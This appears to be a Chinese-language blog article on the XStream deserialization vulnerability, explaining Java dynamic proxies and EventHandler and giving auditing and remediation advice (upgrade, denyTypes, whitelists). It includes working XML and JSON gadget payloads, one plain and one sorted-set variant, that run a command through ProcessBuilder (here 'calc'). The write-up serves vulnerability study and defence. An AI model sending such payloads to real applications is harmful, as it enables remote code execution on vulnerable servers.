XStream反序列化漏洞研究

0x00 XStream介绍和简单使用

一、介绍

XStream是一个将java对象序列化为xml以及从xml反序列化为java对象的开源类库。使用 XStream 不用任何映射就能实现多数 Java 对象的序列化。在生成的 XML 中对象名变成了元素名,类中的字符串组成了 XML 中的元素内容。使用 XStream 序列化的类不需要实现 Serializable 接口。XStream 是一种序列化工具而不是数据绑定工具,就是说不能从 XML 或者 XML Schema Definition (XSD) 文件生成类。和其他序列化工具相比,XStream 有三个突出的特点:

  • XStream 不关心序列化/反序列化的类的字段的可见性。
  • 序列化/反序列化类的字段不需要 getter setter 方法。
  • 序列化/反序列化的类不需要有默认构造函数。

不需要修改类,使用 XStream 就能直接序列化/反序列化任何第三方类。

二、使用案例

1、POM引入该三方软件

<dependency>
  <groupId>com.thoughtworks.xstream</groupId>
  <artifactId>xstream</artifactId>
  <version>1.4.10</version>
</dependency>

2、待序列化的类:

class Person
{
    private String name;
    private int age;
    public Person(String name,int age)
    {
        this.name=name;
        this.age=age;
    }
    @Override
    public String toString()
    {
        return "Person [name=" + name + ", age=" + age + "]";
    }
}

 

3、使用XStream序列化和反序列化Person类:

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.mapper.DefaultMapper;

public static void main(String[] args) throws Exception {
    /*XML序列化*/
    Person person=new Person("张四",19);
    XStream xstream = new XStream(new DomDriver());//生成并设置XML解析器
    //序列化
    String xml = xstream.toXML(person);
    System.out.println(xml);
    //反序列化
    person=(Person)xstream.fromXML(xml);
    System.out.println(person);
}

4、输出:

 

0x01 XStream动态代理漏洞

一、漏洞演示

演示版本

<dependency>
  <groupId>com.thoughtworks.xstream</groupId>
  <artifactId>xstream</artifactId>
  <version>1.4.10</version>
</dependency>

Payloaddemo001.xml

<dynamic-proxy>
    <interface>com.huawei.XtreamTest.car</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

代码

系统中存在的接口

public interface car {
    void start();
    void run();
    void stop();
}

漏洞代码:

String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
car c = (car)xs.fromXML(in);
c.run();//触发动态代理处理程序

运行效果:恶意代码被执行,计算器被调出

 

二、基础知识预备

1、JAVA代理

Java中代理的作用与使用详见:https://www.jianshu.com/p/f56e123817b5。下面简单介绍下XStream漏洞产生原因的动态代理机制。

Java中的动态代理依靠反射来实现,代理类和委托类不需要实现同一个接口。委托类需要实现接口,否则无法创建动态代理。代理类在JVM运行时动态生成,而不是编译期就能确定。

Java动态代理主要涉及到两个类:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler。代理类需要实现InvocationHandler接口或者创建匿名内部类,而Proxy用于创建动态代理。我们用动态代理来实现HelloService

 

package com.huawei.XtreamTest;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

//接口(Subject)
interface HelloService {
    void sayHello();
    void goodBye();
}

//委托类
class HelloServiceImpl implements HelloService {
    @Override
    public void sayHello() {
        System.out.println("Hello World!");
    }

    @Override
    public void goodBye() {
        System.out.println("goodBye!");
    }
}

//动态代理类
class HelloServiceDynamicProxy  implements InvocationHandler{
    private HelloService helloService;

    public HelloServiceDynamicProxy(HelloService helloService) {
        this.helloService = helloService;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before say hello...");
        Object ret = method.invoke(helloService, args);
        System.out.println("After say hello...");
        return ret;
    }
}

//测试类
public class dynamicProxy {
    public static void main(String[] args){
        HelloService helloService = new HelloServiceImpl();
        InvocationHandler handler = new HelloServiceDynamicProxy(helloService);
        HelloService dynamicProxy = (HelloService) Proxy.newProxyInstance(helloService.getClass().getClassLoader(), helloService.getClass().getInterfaces(),handler );
        dynamicProxy.sayHello();
        dynamicProxy.goodBye();
    }
}

 

运行结果 

 2、EventHandler

       Java.beans.EventHandler也是实现了InvocationHandler接口的动态代理类处理程序,EventHandler能够起到监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。其中含有以下成员:

这些成员变量的作用为:

target:指代委托类

action:代理类调用函数时会调用action指定的方法

下面给个例子:

package com.huawei.XtreamTest;

import java.beans.EventHandler;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;


//接口(Subject)
interface HelloService1 {
    void sayHello();
    void goodBye();
}

//委托类
class HelloServiceImpl1 implements HelloService1 {
    @Override
    public void sayHello() {
        System.out.println("Hello World!");
    }

    @Override
    public void goodBye() {
        System.out.println("goodBye!");
    }
}

public class EventHandlerTest {
    public static void main(String[] args){
        HelloService1 hs1 = new HelloServiceImpl1();
        //监听sayHello方法
/*        InvocationHandler ih1 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,"sayHello");
        HelloService1 dp = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih1 );
        dp.sayHello();
        dp.goodBye();*/

        //监听所有委托类的方法,只要委托类的方法被调用直接调用EventHandler中指定的方法
        InvocationHandler ih2 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,null);
        HelloService1 dp1 = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih2 );
        dp1.sayHello();
        dp1.goodBye();
    }
}

演示效果:

通过调试,第一次出现计算器,关闭计算机继续执行后计算机被再次调出。

二、漏洞原理讲解

1、XStream动态代理类

此漏洞是因为XStream提供了一个动态代理的转换器,允许在反序列化中进行动态代理绑定。

看下一该动态代理转换器的行为:

该动态代理转换器反序列化函数unmashall有四个重要步骤:

1、获取接口,待代理的接口

2、用Proxy.newProxyInstance函数为接口创建代理,但是委托类处理程序为DUMMY。因当前代码还没有反序列化处理程序类,先占位。

3、转换处理程序类

4、将反序列出来的处理程序类写入Proxy,之前为DUMMY

上述流程和前文动态代理描述是一致的。所以,可以设想反序列化数据中通过为系统中存在的接口进行动态代理,通过反序列化EventHandler处理程序代理接口,则接口调用时就会调用我们反序列化中的EventHandler指定的taget和Action事件。

通过上述的代码和EventHandler的结构,可以设想如下结构的动态代理类XML结构。

<???>
    <interface>com.XXX.XXX</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</???>

       此时需要搞清楚,XStream中动态代理类的XML元素的名称,下面一个动态代理的相关类注释中表明别名也可用于指代动态代理的实例:

所以最终设想的一个Payload如下:

<dynamic-proxy>
    <interface>com.XXX.YYY </interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

该XML被反序列化后的期望是通过XStream提供的动态代理类,反序列化时为接口设置一个代理的处理程序,该处理程序通过设置taget和action成员达成接口中的程序一旦被调用,就会执行计算器,而事实上是可以的。

2、恶意Payload反序列化过程讲解

Payload使用上述XML文件,基于XStream版本号1.4.10。

1、反序列化程序

2、开始反序列化

第一处断点根据XML根获取类型,Payload获取的对象为动态代理类

3、找到动态代理类反序列化的转换器,转换器的工作原理就是使用proxy对象的newProxyInstance函数为接口进行代理处理器。

通过找到的转换器通过第二处函数反序列化出动态代理对象

4、最终调用到前文所述的动态代理转换器,此处不再赘述

5、上述函数退出后,将EventHandler制定的动作绑定到了XML文件设置的接口上,当接口中的函数被调用,就会执行动态代理设置的处理器动作。

3、其他通用payload

适用版本:1.4.5、1.4.6 、1.4.10

Payload如下:demo001.xml

<sorted-set>
<string>foo</string>
<dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>
</sorted-set>

Payload代码

String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
xs.fromXML(in);

Payload的核心没有变化,作为了SortedSet对象的元素。Payload代码的区别是无需获取反序列化出的对象并调用对象的方法,而会直接执行恶意代码。实际原因是SortedSet内部会自动调用Comparable接口中的compareto方法进行比较,所以Payload XML数据中为java.lang.Comparable设置了代理处理器,达到反序列化过程中自动触发时间处理器调用恶意代码。核心问题代码:

4、1.4.7-1.4.9无法动态代理漏洞利用的原因

在反射类的转换器中判断当前类是否能够转换

注意到代码中特意判断当前类如果为EventHandler类型,则无法序列化。

5、1.4.11及以后的版本

可能为了防止用户忘记将EventHandler设置黑名单。1.4.11以后的版本,XStream增加了内部的黑名单转换器,实际效果是EventHandler设置为了黑名单,直接杜绝了使用XStream反序列化EventHandler。

InternalBlackList类中的的反序列化函数直接是抛出异常

三、XML和JSON对应的PayLoad

版本

XML-Payload

JSON-Payload

备注

<=1.4.6

1.4.10

<dynamic-proxy>

<interface>com.huawei.XtreamTest.car</interface>

    <handler class="java.beans.EventHandler">

        <target class="java.lang.ProcessBuilder">

            <command>

                <string>calc</string>

            </command>

        </target>

        <action>start</action>

    </handler>

</dynamic-proxy>

{

"dynamic-proxy": {

              "interface": "com.huawei.XtreamTest.car",

              "handler": {

                            "@class": "java.beans.EventHandler",

                            "target": {

                                          "@class": "java.lang.ProcessBuilder",

                                          "command": [{

                                                        "string": "calc"

                                                        }],

                                                        "redirectErrorStream": false

                                          },

                            "action": "start"

                            }

              }

}

需要代理的接口调用接口中的任意方法

1.4.5、1.4.6 、1.4.10

<sorted-set>

<string>foo</string>

<dynamic-proxy>

    <interface>java.lang.Comparable</interface>

    <handler class="java.beans.EventHandler">

        <target class="java.lang.ProcessBuilder">

            <command>

                <string>calc</string>

            </command>

        </target>

        <action>start</action>

    </handler>

</dynamic-proxy>

</sorted-set>

{

  "sorted-set": {

    "string": "foo",

    "dynamic-proxy": {

      "interface": "java.lang.Comparable",

      "handler": {

        "@class": "java.beans.EventHandler",

        "target": {

          "@class": "java.lang.ProcessBuilder",

          "command": { "string": "calc" }

        },

        "action": "start"

      }

    }

  }

}

无需代理的接口调用函数,是要反序列化就能执行

四、测试方法

1、源码搜索关键字com.thoughtworks.xstream.XStream,确认产品是否使用XStream组件

2、全局.Java文件搜索关键词fromXML,确认是否为XStream函数调用的地方

3、查看fromXML参数是否外部可控

4、若参数外部可控,查看XStream版本,例如POM文件中确定。

5、根据版本号有不同的问题确认方法:

版本号

确认方法

1.4.10

查看代码中是否使用了XStream提供的安全机制,重点关注产品是否使用了黑名单函数拒绝EventHandler等危险类,例如:xs.denyTypes(new Class[]{java.beans.EventHandler.class})。其它Gadget中的危险类也需要加入其中,参考其他三方件和XStream的组合漏洞。注:安全框架和黑白名单机制在1.4.10才出现

1.4.7-1.4.9和>=1.4.11

XStream本身无问题,这些版本禁用了EventHandler反序列化。但是存在其他三方件的gadget会产生其它问题。参加其他文档。总之,fromXML若可控且系统中存在已知gadget组件,则是有问题的

<=1.4.6

若fromXML参数可控,必定是有问题的。查看程序是否实现对获取的XML数据进行过滤。注意是否过滤XML文件中的EventHandler和已知gadget的危险类元素

五、整改和安全编码建议

1、建议升级到最新版本1.4.11及以上版本

2、并使用XStream提供的安全机制,建议使用其中的白名单机制。代码如下所示:

denyTypes函数拒绝了EventHandler的反序列化(注1.4.11及以后的版本EventHandler为内部默认黑名单,无需再次设置,此处只是例子)。denyTypes最低要加入已知gadget危险类。

setupDefaultSecurity设置了一些默认的安全类。

XStream提供的安全机制函数如下(详情见XSream源码XStream.java中的相关函数):

白名单设置函数:

黑名单设置函数:

添加默认的白名单

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章